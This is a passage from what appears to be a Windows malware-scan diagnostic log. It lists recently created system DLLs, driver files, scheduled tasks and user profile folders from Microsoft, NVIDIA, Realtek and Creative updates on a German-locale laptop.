2017-05-30 08:01 - 2017-04-14 01:38 - 00208896 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.AppDefaults.dll
2017-05-30 08:01 - 2017-04-14 01:37 - 00450048 _____ (Microsoft Corporation) C:\windows\system32\bcdedit.exe
2017-05-30 08:01 - 2017-04-14 01:37 - 00301056 _____ (Microsoft Corporation) C:\windows\system32\EnterpriseAppMgmtSvc.dll
2017-05-30 08:01 - 2017-04-14 01:37 - 00246272 _____ (Microsoft Corporation) C:\windows\system32\domgmt.dll
2017-05-30 08:01 - 2017-04-14 01:36 - 00524800 _____ (Microsoft Corporation) C:\windows\system32\TileDataRepository.dll
2017-05-30 08:01 - 2017-04-14 01:36 - 00296448 _____ (Microsoft Corporation) C:\windows\system32\CloudBackupSettings.dll
2017-05-30 08:01 - 2017-04-14 01:35 - 01433600 _____ (Microsoft Corporation) C:\windows\system32\SystemSettings.Handlers.dll
2017-05-30 08:01 - 2017-04-14 01:35 - 00510976 _____ (Microsoft Corporation) C:\windows\system32\TDLMigration.dll
2017-05-30 08:01 - 2017-04-14 01:33 - 01269760 _____ (Microsoft Corporation) C:\windows\system32\enterprisecsps.dll
2017-05-30 08:01 - 2017-04-14 01:33 - 00864256 _____ (Microsoft Corporation) C:\windows\system32\NotificationController.dll
2017-05-30 08:01 - 2017-04-14 01:31 - 01611776 _____ (Microsoft Corporation) C:\windows\system32\SpeechPal.dll
2017-05-30 08:01 - 2017-04-14 01:31 - 00673280 _____ (Microsoft Corporation) C:\windows\system32\LockAppBroker.dll
2017-05-30 08:01 - 2017-04-14 01:29 - 01583616 _____ (Microsoft Corporation) C:\windows\system32\ieapfltr.dll
2017-05-30 08:01 - 2017-04-14 01:29 - 01295872 _____ (Microsoft Corporation) C:\windows\system32\dosvc.dll
2017-05-30 08:01 - 2017-04-14 01:29 - 00840192 _____ (Microsoft Corporation) C:\windows\system32\fveapi.dll
2017-05-30 08:01 - 2017-04-14 01:29 - 00647168 _____ (Microsoft Corporation) C:\windows\system32\RDXService.dll
2017-05-30 08:01 - 2017-04-14 01:28 - 02443776 _____ (Microsoft Corporation) C:\windows\system32\wuaueng.dll
2017-05-30 08:01 - 2017-04-14 01:26 - 01257472 _____ (Microsoft Corporation) C:\windows\system32\wpnapps.dll
2017-05-30 08:01 - 2017-04-14 01:24 - 01628160 _____ (Microsoft Corporation) C:\windows\system32\comsvcs.dll
2017-05-30 08:01 - 2017-04-14 01:21 - 00078848 _____ (Microsoft Corporation) C:\windows\system32\offreg.dll
2017-05-30 08:01 - 2017-04-14 01:18 - 00731136 _____ (Microsoft Corporation) C:\windows\SysWOW64\mmgaserver.exe
2017-05-30 08:01 - 2017-04-14 01:15 - 00282112 _____ (Microsoft Corporation) C:\windows\SysWOW64\VEEventDispatcher.dll
2017-05-30 08:01 - 2017-04-14 01:15 - 00232448 _____ (Microsoft Corporation) C:\windows\SysWOW64\CloudBackupSettings.dll
2017-05-30 08:01 - 2017-04-14 01:08 - 01463296 _____ (Microsoft Corporation) C:\windows\SysWOW64\ieapfltr.dll
2017-05-30 08:01 - 2017-04-14 01:06 - 00987648 _____ (Microsoft Corporation) C:\windows\SysWOW64\wpnapps.dll
2017-05-30 08:01 - 2017-04-14 01:04 - 00392704 _____ (Microsoft Corporation) C:\windows\SysWOW64\PlayToManager.dll
2017-05-30 08:01 - 2017-04-14 01:01 - 00057856 _____ (Microsoft Corporation) C:\windows\SysWOW64\offreg.dll
2017-05-30 08:01 - 2017-04-01 03:04 - 00382368 _____ (Adobe Systems Incorporated) C:\windows\system32\atmfd.dll
2017-05-30 08:01 - 2017-04-01 02:57 - 00311192 _____ (Adobe Systems Incorporated) C:\windows\SysWOW64\atmfd.dll
2017-05-30 08:01 - 2017-04-01 02:52 - 00409504 _____ (Microsoft Corporation) C:\windows\system32\Drivers\dxgmms1.sys
2017-05-30 08:01 - 2017-04-01 02:51 - 01760264 _____ (Microsoft Corporation) C:\windows\system32\WindowsCodecs.dll
2017-05-30 08:01 - 2017-04-01 02:29 - 01518088 _____ (Microsoft Corporation) C:\windows\SysWOW64\WindowsCodecs.dll
2017-05-30 08:01 - 2017-04-01 02:28 - 00354360 _____ (Microsoft Corporation) C:\windows\SysWOW64\bcryptprimitives.dll
2017-05-30 08:01 - 2017-04-01 02:09 - 00094720 _____ (Microsoft Corporation) C:\windows\SysWOW64\UserDataTimeUtil.dll
2017-05-30 08:01 - 2017-04-01 02:04 - 00364032 _____ (Microsoft Corporation) C:\windows\SysWOW64\msIso.dll
2017-05-30 08:01 - 2017-04-01 02:04 - 00119296 _____ (Microsoft Corporation) C:\windows\system32\UserDataTimeUtil.dll
2017-05-30 08:01 - 2017-04-01 01:58 - 01506816 _____ (Microsoft Corporation) C:\windows\SysWOW64\quartz.dll
2017-05-30 08:01 - 2017-04-01 01:58 - 00433664 _____ (Microsoft Corporation) C:\windows\system32\msIso.dll
2017-05-30 08:01 - 2017-04-01 01:55 - 00545792 _____ (Microsoft Corporation) C:\windows\system32\winspool.drv
2017-05-30 08:01 - 2017-04-01 01:52 - 00081408 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfmjpegdec.dll
2017-05-30 08:01 - 2017-04-01 01:52 - 00078336 _____ (Microsoft Corporation) C:\windows\SysWOW64\asycfilt.dll
2017-05-30 08:01 - 2017-04-01 01:50 - 01605632 _____ (Microsoft Corporation) C:\windows\system32\quartz.dll
2017-05-30 08:01 - 2017-04-01 01:45 - 00091648 _____ (Microsoft Corporation) C:\windows\system32\mfmjpegdec.dll
2017-05-30 08:01 - 2017-04-01 01:44 - 00087552 _____ (Microsoft Corporation) C:\windows\system32\asycfilt.dll
2017-05-30 08:01 - 2017-03-31 23:00 - 00032004 _____ C:\windows\system32\edgehtmlpluginpolicy.bin
2017-05-30 08:00 - 2017-04-28 02:46 - 00329728 _____ (Microsoft Corporation) C:\windows\SysWOW64\webplatstorageserver.dll
2017-05-30 08:00 - 2017-04-28 02:46 - 00080384 _____ (Microsoft Corporation) C:\windows\SysWOW64\mshtmled.dll
2017-05-30 08:00 - 2017-04-28 02:45 - 00124928 _____ (Microsoft Corporation) C:\windows\SysWOW64\iepeers.dll
2017-05-30 08:00 - 2017-04-28 02:44 - 00338432 _____ (Microsoft Corporation) C:\windows\SysWOW64\iedkcs32.dll
2017-05-30 08:00 - 2017-04-28 02:42 - 00663040 _____ (Microsoft Corporation) C:\windows\SysWOW64\msfeeds.dll
2017-05-30 08:00 - 2017-04-28 02:40 - 02008576 _____ (Microsoft Corporation) C:\windows\SysWOW64\inetcpl.cpl
2017-05-30 08:00 - 2017-04-28 02:09 - 00084992 _____ (Microsoft Corporation) C:\windows\system32\MshtmlDac.dll
2017-05-30 08:00 - 2017-04-28 02:08 - 00457728 _____ (Microsoft Corporation) C:\windows\system32\webplatstorageserver.dll
2017-05-30 08:00 - 2017-04-28 02:08 - 00096256 _____ (Microsoft Corporation) C:\windows\system32\mshtmled.dll
2017-05-30 08:00 - 2017-04-28 02:07 - 00140288 _____ (Microsoft Corporation) C:\windows\system32\iepeers.dll
2017-05-30 08:00 - 2017-04-28 02:05 - 00224256 _____ (Microsoft Corporation) C:\windows\system32\ie4uinit.exe
2017-05-30 08:00 - 2017-04-28 02:04 - 00422400 _____ (Microsoft Corporation) C:\windows\system32\WpAXHolder.dll
2017-05-30 08:00 - 2017-04-28 01:52 - 00218624 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.Streaming.ps.dll
2017-05-30 08:00 - 2017-04-19 08:01 - 00050176 _____ (Microsoft Corporation) C:\windows\system32\catsrvps.dll
2017-05-30 08:00 - 2017-04-14 01:41 - 00164864 _____ (Microsoft Corporation) C:\windows\system32\EnterpriseModernAppMgmtCSP.dll
2017-05-30 08:00 - 2017-04-14 01:38 - 00251904 _____ (Microsoft Corporation) C:\windows\system32\Windows.Gaming.Preview.dll
2017-05-30 08:00 - 2017-04-14 01:37 - 00315392 _____ (Microsoft Corporation) C:\windows\system32\NotificationObjFactory.dll
2017-05-30 08:00 - 2017-04-14 01:35 - 00257024 _____ (Microsoft Corporation) C:\windows\system32\webcheck.dll
2017-05-30 08:00 - 2017-04-14 01:34 - 00406528 _____ (Microsoft Corporation) C:\windows\system32\InputSwitch.dll
2017-05-30 08:00 - 2017-04-14 01:25 - 00750080 _____ (Microsoft Corporation) C:\windows\system32\StorSvc.dll
2017-05-30 08:00 - 2017-04-14 01:13 - 00354304 _____ (Microsoft Corporation) C:\windows\SysWOW64\InputSwitch.dll
2017-05-30 08:00 - 2017-04-14 01:13 - 00232960 _____ (Microsoft Corporation) C:\windows\SysWOW64\webcheck.dll
2017-05-30 08:00 - 2017-04-01 02:11 - 00038912 _____ (Adobe Systems) C:\windows\SysWOW64\atmlib.dll
2017-05-30 08:00 - 2017-04-01 02:05 - 00047104 _____ (Adobe Systems) C:\windows\system32\atmlib.dll
2017-05-30 08:00 - 2017-04-01 02:02 - 00252928 _____ (Microsoft Corporation) C:\windows\SysWOW64\XpsDocumentTargetPrint.dll
2017-05-30 08:00 - 2017-04-01 02:01 - 00429568 _____ (Microsoft Corporation) C:\windows\SysWOW64\winspool.drv
2017-05-30 08:00 - 2017-04-01 01:56 - 01060352 _____ (Microsoft Corporation) C:\windows\SysWOW64\XpsPrint.dll
2017-05-30 08:00 - 2017-04-01 01:55 - 00347136 _____ (Microsoft Corporation) C:\windows\system32\XpsDocumentTargetPrint.dll
2017-05-30 08:00 - 2017-04-01 01:50 - 01657344 _____ (Microsoft Corporation) C:\windows\system32\XpsPrint.dll
2017-05-29 16:40 - 2017-05-29 16:40 - 00000000 ____D C:\Users\****\AppData\Local\Comms
2017-05-29 16:26 - 2017-05-30 09:48 - 00000000 ___RD C:\Users\****\OneDrive
2017-05-29 16:26 - 2017-05-29 16:26 - 00000000 ____D C:\Users\****\AppData\Roaming\Intel Corporation
2017-05-29 16:24 - 2017-06-03 15:47 - 00000000 __SHD C:\Users\****\IntelGraphicsProfiles
2017-05-29 16:24 - 2017-05-31 14:04 - 00000000 ____D C:\Users\****\AppData\Local\NVIDIA Corporation
2017-05-29 16:24 - 2017-05-30 20:39 - 00000000 ____D C:\Users\****\AppData\Local\Packages
2017-05-29 16:24 - 2017-05-29 16:24 - 00000000 ____D C:\Users\****\AppData\Roaming\Adobe
2017-05-29 16:24 - 2017-05-29 16:24 - 00000000 ____D C:\Users\****\AppData\Local\VirtualStore
2017-05-29 16:24 - 2017-05-29 16:24 - 00000000 ____D C:\Users\****\AppData\Local\TileDataLayer
2017-05-29 16:24 - 2017-05-29 16:24 - 00000000 ____D C:\Users\****\AppData\Local\Publishers
2017-05-29 16:24 - 2017-05-29 16:24 - 00000000 ____D C:\Users\****\AppData\Local\ConnectedDevicesPlatform
2017-05-29 16:23 - 2017-06-02 18:10 - 00000000 ____D C:\Users\****
2017-05-29 16:23 - 2017-05-29 16:23 - 00000020 ___SH C:\Users\****\ntuser.ini
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Vorlagen
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Startmenü
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Netzwerkumgebung
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Lokale Einstellungen
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Eigene Dateien
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Druckumgebung
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Documents\Eigene Videos
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Documents\Eigene Musik
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Documents\Eigene Bilder
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\AppData\Roaming\Microsoft\Windows\Start Menu\Programme
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\AppData\Local\Verlauf
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\AppData\Local\Anwendungsdaten
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Anwendungsdaten
2017-05-18 07:54 - 2017-05-18 07:54 - 35397536 _____ (NVIDIA Corporation) C:\windows\system32\nvoglv64.dll
2017-05-18 07:54 - 2017-05-18 07:54 - 28632152 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvoglv32.dll
2017-05-18 07:53 - 2017-05-18 07:53 - 00969632 _____ (NVIDIA Corporation) C:\windows\system32\NvIFR64.dll
2017-05-18 07:53 - 2017-05-18 07:53 - 00920664 _____ (NVIDIA Corporation) C:\windows\SysWOW64\NvIFR.dll
2017-05-18 07:53 - 2017-05-18 07:53 - 00618584 _____ (NVIDIA Corporation) C:\windows\system32\NvIFROpenGL.dll
2017-05-18 07:53 - 2017-05-18 07:53 - 00507992 _____ (NVIDIA Corporation) C:\windows\SysWOW64\NvIFROpenGL.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 40210520 _____ (NVIDIA Corporation) C:\windows\system32\nvcompiler.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 35290200 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvcompiler.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 03800992 _____ (NVIDIA Corporation) C:\windows\system32\nvcuvid.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 03256408 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvcuvid.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 01996704 _____ (NVIDIA Corporation) C:\windows\system32\nvdispco6438205.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 01598368 _____ (NVIDIA Corporation) C:\windows\system32\nvdispgenco6438205.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 01062816 _____ (NVIDIA Corporation) C:\windows\system32\NvFBC64.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 00999840 _____ (NVIDIA Corporation) C:\windows\SysWOW64\NvFBC.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 11162000 _____ (NVIDIA Corporation) C:\windows\system32\nvptxJitCompiler.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 11129704 _____ (NVIDIA Corporation) C:\windows\system32\nvcuda.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 10648520 _____ (NVIDIA Corporation) C:\windows\system32\nvopencl.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 09335528 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvcuda.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 09102488 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvptxJitCompiler.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 08891160 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvopencl.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 01298696 _____ (NVIDIA Corporation) C:\windows\system32\nvEncMFTH264.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 01296264 _____ (NVIDIA Corporation) C:\windows\system32\nvEncMFThevc.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 01013344 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvEncMFTH264.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 01011488 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvEncMFThevc.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 00791792 _____ (NVIDIA Corporation) C:\windows\system32\nvEncodeAPI64.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 00703880 _____ (NVIDIA Corporation) C:\windows\system32\nvfatbinaryLoader.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 00626392 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvEncodeAPI.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 00591672 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvfatbinaryLoader.dll
2017-05-18 04:34 - 2017-05-18 04:34 - 00000669 _____ C:\windows\SysWOW64\nv-vk32.json
2017-05-18 04:34 - 2017-05-18 04:34 - 00000669 _____ C:\windows\system32\nv-vk64.json
2017-05-13 07:06 - 2017-05-12 15:47 - 00000000 ____D C:\windows\Panther
2017-05-13 07:00 - 2017-05-12 15:23 - 00000000 ____D C:\MININT
2017-05-13 07:00 - 2016-09-19 12:21 - 00795640 _____ (Intel Corporation) C:\windows\system32\Drivers\iaStorA.sys
2017-05-13 07:00 - 2016-08-01 09:42 - 00943112 _____ (Realtek ) C:\windows\system32\Drivers\rt640x64.sys
2017-05-12 15:27 - 2017-05-29 16:19 - 00003042 _____ C:\windows\System32\Tasks\IUM-F1E24CA0-B63E-4F13-A9E3-4ADE3BFF3473
2017-05-12 15:22 - 2017-05-12 15:22 - 00019778 _____ C:\windows\system32\results.xml
2017-05-12 15:21 - 2017-05-12 15:21 - 10238808 _____ C:\windows\SysWOW64\PerfStringBackup.INI
2017-05-12 15:21 - 2017-05-12 15:21 - 00466520 _____ (Creative Labs) C:\windows\system32\wrap_oal.dll
2017-05-12 15:21 - 2017-05-12 15:21 - 00445016 _____ (Creative Labs) C:\windows\SysWOW64\wrap_oal.dll
2017-05-12 15:21 - 2017-05-12 15:21 - 00123480 _____ (Portions (C) Creative Labs Inc. and NVIDIA Corp.) C:\windows\system32\OpenAL32.dll
2017-05-12 15:21 - 2017-05-12 15:21 - 00109144 _____ (Portions (C) Creative Labs Inc. and NVIDIA Corp.) C:\windows\SysWOW64\OpenAL32.dll
2017-05-12 15:21 - 2017-05-12 15:21 - 00000219 ___RH C:\windows\ctfile.rfc
2017-05-12 15:21 - 2017-05-12 15:21 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Intel
2017-05-12 15:21 - 2017-05-12 15:21 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Creative
2017-05-12 15:21 - 2017-05-12 15:21 - 00000000 ____D C:\ProgramData\Creative
2017-05-12 15:21 - 2017-05-12 15:21 - 00000000 ____D C:\Program Files (x86)\AirplaneModeInstaller
2017-05-12 15:21 - 2017-02-07 05:23 - 00809560 ____R (Creative Labs Inc.) C:\windows\SysWOW64\tmp6E6A.tmp
2017-05-12 15:21 - 2017-02-07 05:23 - 00809560 ____R (Creative Labs Inc.) C:\windows\SysWOW64\tmp6E69.tmp
2017-05-12 15:21 - 2016-12-12 10:52 - 00057606 _____ C:\windows\MBSpkrEQ.cfg
2017-05-12 15:21 - 2016-07-05 14:00 - 00005024 ____N C:\windows\MBCfg_SP_APOIM.ini
2017-05-12 15:21 - 2016-03-15 13:55 - 00089600 _____ C:\windows\system32\CmdRtr64.DLL
2017-05-12 15:21 - 2016-03-15 13:54 - 00359424 _____ C:\windows\system32\APOMgr64.DLL
2017-05-12 15:21 - 2016-03-15 13:54 - 00074240 _____ C:\windows\SysWOW64\CmdRtr.DLL
2017-05-12 15:21 - 2016-03-15 13:53 - 00271360 _____ C:\windows\SysWOW64\APOMngr.DLL
2017-05-12 15:21 - 2016-03-03 14:42 - 01942016 _____ (Creative) C:\windows\system32\Sens_oal.dll
2017-05-12 15:21 - 2016-03-03 14:39 - 01609728 _____ (Creative) C:\windows\SysWOW64\Sens_oal.dll
2017-05-12 15:21 - 2015-05-22 10:41 - 00378824 _____ (Creative Technology Ltd.) C:\windows\system32\ChezSC64.DLL
2017-05-12 15:21 - 2015-05-22 10:41 - 00329672 _____ (Creative Technology Ltd.) C:\windows\SysWOW64\ChezSC32.DLL
2017-05-12 15:21 - 2015-05-04 10:05 - 00020697 _____ C:\windows\SysWOW64\MBCfg32.ini
2017-05-12 15:21 - 2015-05-04 10:05 - 00020697 _____ C:\windows\system32\MBCfg64.ini
2017-05-12 15:21 - 2015-05-04 10:05 - 00006968 _____ C:\windows\SysWOW64\MBCfgUninstall32.ini
2017-05-12 15:21 - 2015-05-04 10:05 - 00006968 _____ C:\windows\system32\MBCfgUninstall64.ini
2017-05-12 15:21 - 2015-05-04 10:05 - 00004862 ____N C:\windows\MBCfg_APOIM.ini
2017-05-12 15:21 - 2015-05-04 10:05 - 00004821 ____N C:\windows\MBCfg_HP_APOIM.ini
2017-05-12 15:21 - 2015-05-04 10:05 - 00001165 ____N C:\windows\MBCfg_Capture_APOIM.ini
2017-05-12 15:21 - 2014-02-21 10:57 - 00041088 _____ (Creative Technology Ltd.) C:\windows\system32\MBCfg64.dll
2017-05-12 15:21 - 2014-02-21 10:57 - 00038016 _____ (Creative Technology Ltd.) C:\windows\SysWOW64\MBCfg32.dll
2017-05-12 15:21 - 2013-04-23 10:54 - 00148096 _____ (Creative Technology Ltd.) C:\windows\system32\MBCfg64.exe
2017-05-12 15:21 - 2013-04-23 10:53 - 00138880 _____ (Creative Technology Ltd.) C:\windows\SysWOW64\MBCfg32.exe
2017-05-12 15:21 - 2013-04-23 10:53 - 00015488 _____ (Creative Technology Ltd.) C:\windows\SysWOW64\ResDefA.exe
2017-05-12 15:21 - 2000-05-11 01:00 - 00090112 ____N (Creative Technology Ltd.) C:\windows\Updreg.EXE
2017-05-12 15:20 - 2017-05-29 16:19 - 00003118 _____ C:\windows\System32\Tasks\Intel PTT EK Recertification
2017-05-12 15:20 - 2017-05-29 16:19 - 00003074 _____ C:\windows\System32\Tasks\IntelIOC-Upgrade-f1c8187b-2653-47cd-a9be-b554b98f68a7
2017-05-12 15:20 - 2017-05-29 16:19 - 00002708 _____ C:\windows\System32\Tasks\IntelIOC-Upgrade-f1c8187b-2653-47cd-a9be-b554b98f68a7-Logon
2017-05-12 15:20 - 2017-05-12 15:27 - 00000000 ____D C:\ProgramData\Intel
2017-05-12 15:20 - 2017-05-12 15:21 - 00000000 ____D C:\Program Files (x86)\Creative
2017-05-12 15:20 - 2017-05-12 15:20 - 00000000 ____H C:\windows\system32\Drivers\Msft_Kernel_AirplaneModeHid_01011.Wdf
2017-05-12 15:20 - 2017-05-12 15:20 - 00000000 ____D C:\Program Files\Insyde
2017-05-12 15:19 - 2017-05-12 15:19 - 00000000 ____H C:\windows\system32\Drivers\Msft_Kernel_HKMouFltr_01009.Wdf
2017-05-12 15:19 - 2017-05-12 15:19 - 00000000 ____H C:\windows\system32\Drivers\Msft_Kernel_HKKbdFltr_01009.Wdf
2017-05-12 15:19 - 2017-05-12 15:19 - 00000000 ____D C:\Program Files (x86)\Hotkey
2017-05-12 15:19 - 2017-04-12 08:32 - 00532376 _____ (SRS Labs, Inc.) C:\windows\system32\SRSTSX64.dll
2017-05-12 15:19 - 2017-04-12 08:32 - 00221960 _____ (SRS Labs, Inc.) C:\windows\system32\SRSTSH64.dll
2017-05-12 15:19 - 2017-04-12 08:32 - 00209528 _____ (SRS Labs, Inc.) C:\windows\system32\SRSHP64.dll
2017-05-12 15:19 - 2017-04-12 08:32 - 00166200 _____ (SRS Labs, Inc.) C:\windows\system32\SRSWOW64.dll
2017-05-12 15:19 - 2016-05-24 19:19 - 00012800 _____ (Windows (R) 2000 DDK provider) C:\windows\SysWOW64\CLEVOMOF.dll
2017-05-12 15:19 - 2015-11-26 16:49 - 00051400 _____ (Insyde Software Corp.) C:\windows\system32\Drivers\HKKbdFltr.sys
2017-05-12 15:19 - 2015-11-26 16:49 - 00048344 _____ (Insyde Software Corp.) C:\windows\system32\Drivers\HKMouFltr.sys
2017-05-12 15:19 - 2015-05-21 16:30 - 00017880 _____ (Microsoft) C:\windows\SysWOW64\BTControl.exe
2017-05-12 15:18 - 2017-06-01 22:05 - 00004308 _____ C:\windows\System32\Tasks\NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-05-12 15:18 - 2017-06-01 22:05 - 00003994 _____ C:\windows\System32\Tasks\NvNodeLauncher_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-05-12 15:18 - 2017-06-01 22:05 - 00003894 _____ C:\windows\System32\Tasks\NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-05-12 15:18 - 2017-06-01 22:05 - 00003866 _____ C:\windows\System32\Tasks\NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-05-12 15:18 - 2017-06-01 22:05 - 00003858 _____ C:\windows\System32\Tasks\NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-05-12 15:18 - 2017-06-01 22:05 - 00003696 _____ C:\windows\System32\Tasks\NvTmRepOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-05-12 15:18 - 2017-06-01 22:05 - 00003654 _____ C:\windows\System32\Tasks\NvProfileUpdaterOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-05-12 15:18 - 2017-06-01 22:05 - 00001491 _____ C:\Users\Public\Desktop\GeForce Experience.lnk
2017-05-12 15:18 - 2017-05-12 15:19 - 00000000 ___HD C:\Program Files (x86)\Temp
2017-05-12 15:18 - 2017-05-12 15:18 - 00000000 ____H C:\windows\system32\Drivers\Msft_Kernel_SynTP_01011.Wdf
2017-05-12 15:18 - 2017-05-12 15:18 - 00000000 ____H C:\windows\system32\Drivers\Msft_Kernel_Smb_driver_Intel_01011.Wdf
2017-05-12 15:18 - 2017-05-12 15:18 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\NVIDIA Corporation
2017-05-12 15:18 - 2017-05-12 15:18 - 00000000 ____D C:\Program Files\Synaptics
2017-05-12 15:18 - 2017-05-03 22:21 - 01893496 _____ (NVIDIA Corporation) C:\windows\system32\nvspcap64.dll
2017-05-12 15:18 - 2017-05-03 22:21 - 01755256 _____ (NVIDIA Corporation) C:\windows\system32\nvspbridge64.dll
2017-05-12 15:18 - 2017-05-03 22:21 - 01477240 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvspcap.dll
2017-05-12 15:18 - 2017-05-03 22:21 - 01317496 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvspbridge.dll
2017-05-12 15:18 - 2017-05-03 22:21 - 00121464 _____ C:\windows\system32\NvRtmpStreamer64.dll
2017-05-12 15:18 - 2017-04-12 08:32 - 03203584 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RtPgEx64.dll
2017-05-12 15:18 - 2017-04-12 08:32 - 03014144 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RTSnMg64.cpl
2017-05-12 15:18 - 2017-04-12 08:32 - 00343704 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RtlCPAPI64.dll
2017-05-12 15:18 - 2017-04-12 08:32 - 00192976 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RtkCfg64.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 09107564 _____ C:\windows\system32\Drivers\RTAIODAT.DAT
2017-05-12 15:18 - 2017-04-12 08:31 - 03503048 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RtkApi64.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 02839520 _____ (Realtek Semiconductor Corp.) C:\windows\RtlExUpd.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 02201600 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RCoInstII64.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 01743336 _____ (Creative Technology Ltd.) C:\windows\SysWOW64\MBAPO232.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 01353824 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RTCOM64.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00689872 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RtDataProc64.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00387312 _____ (Dolby Laboratories, Inc.) C:\windows\system32\RTEEP64A.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00321712 _____ (Dolby Laboratories, Inc.) C:\windows\system32\RP3DHT64.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00321712 _____ (Dolby Laboratories, Inc.) C:\windows\system32\RP3DAA64.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00214824 _____ (Dolby Laboratories, Inc.) C:\windows\system32\RTEED64A.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00122312 _____ (Real Sound Lab SIA) C:\windows\system32\CONEQMSAPOGUILibrary.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00110976 _____ (Dolby Laboratories, Inc.) C:\windows\system32\RTEEL64A.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00088344 _____ (Dolby Laboratories, Inc.) C:\windows\system32\RTEEG64A.dll
2017-05-12 15:18 - 2017-02-07 05:17 - 00064088 _____ (Synaptics Incorporated) C:\windows\system32\Drivers\Smb_driver_Intel.sys
2017-05-12 15:18 - 2016-08-01 09:42 - 00082544 _____ (Realtek Semiconductor Corporation) C:\windows\system32\RtNicProp64.dll
2017-05-12 15:18 - 2016-07-15 01:27 - 00084480 _____ (Realtek Semiconductor.) C:\windows\system32\RtCRX64.dll
2017-05-12 15:18 - 2016-07-15 01:23 - 04332032 _____ (Realtek Semiconductor Corp.) C:\windows\RtCRU64.exe
2017-05-12 15:18 - 2010-05-26 11:41 - 02401112 _____ (Microsoft Corporation) C:\windows\system32\D3DX9_43.dll
2017-05-12 15:18 - 2010-05-26 11:41 - 01998168 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DX9_43.dll
2017-05-12 15:18 - 2010-05-26 11:41 - 00511328 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_43.dll
2017-05-12 15:18 - 2010-05-26 11:41 - 00470880 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_43.dll
